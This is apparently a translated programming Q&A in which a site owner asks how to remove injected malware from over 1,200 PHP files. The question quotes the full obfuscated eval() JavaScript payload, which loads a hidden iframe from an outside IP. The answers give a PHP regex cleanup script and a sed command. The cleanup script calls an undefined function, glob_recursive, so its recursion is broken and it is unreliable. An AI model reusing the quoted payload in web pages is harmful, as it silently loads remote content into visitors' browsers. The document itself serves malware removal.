0

我有一个关于从我的 php 文件中删除病毒代码的问题。我的服务器中有 1200 多个 php 文件,每个 php 文件都被病毒感染。病毒代码将此行添加到 html 输出

这里是病毒代码:

<tag5479347351></tag5479347351><script>eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1 k=" i=\\"0\\" g=\\"0\\" j=\\"0\\" f=\\"c://d.h.n.l/o.m\\">";1 5="<8";1 7="p";1 4="e";1 b="</8";1 a="e>";2.3(5);9(2.3(7+4+k+b),6);9(2.3(4+a),6);',26,26,'|var|document|write|k02|k0|1000|k01|if|setTimeout|k22|k2|http|125||src|height|230|width|board||248|php|58|tag1|ram'.split('|'),0,{}))</script><tag5479347352></tag5479347352>

以上代码在每个 php 文件中。如何从每个 php 文件中删除此病毒代码?有没有快速的方法来做到这一点?

4

2 回答 2

1

您可以使用:

删除病毒.php

<?php

foreach(rglob("*.php") as $virusFile){

    $withVirus = file_get_contents($virusFile);
    $withoutVirus = preg_replace('%<tag\d+>.*</tag\d+>%', '', $withVirus);
    file_put_contents($virusFile, $withoutVirus);
}

function rglob($pattern, $flags = 0){
// forked from https://github.com/rodurma/PHP-Functions/
    // blob/master/glob_recursive.php
  $files = glob($pattern, $flags);

  foreach (glob(dirname($pattern).'/*', 
    GLOB_ONLYDIR|GLOB_NOSORT) as $dir){
    $files = array_merge($files, glob_recursive
        ($dir.'/'.basename($pattern), $flags));
  }
  return $files;
}

用法:

放在您网站removeVirus.php根目录上,并以root身份(或文件所有者)从 shell 执行

php removeVirus.php

笔记:

1 - 我用 10 个php包含病毒的文件在我的服务器上测试了代码,它按预期工作。

2 - 确保您找到黑客的来源并相应地修补您的系统。

于 2015-10-10T03:37:02.653 回答
-2

如果您提供的“病毒代码”字符串文字嵌入在每个 php 文件中,则可以通过命令行将其删除。打开 shell 应用程序(Windows 的命令提示符或基于 UNIX/UNIX 的操作系统的终端,例如 OS X、Linux 等)。在将病毒代码传递给 shell 之前,您需要对其进行转义,但是理想的方法可能会因您的系统而异。执行以下命令:

cd /path/to/your/infected/php/files

sed -i 's/insert_escaped_virus_code_here//g' *

PS 如果 see 尚未安装,请按照OS XWindows的这些说明进行操作。

于 2015-10-10T03:10:44.260 回答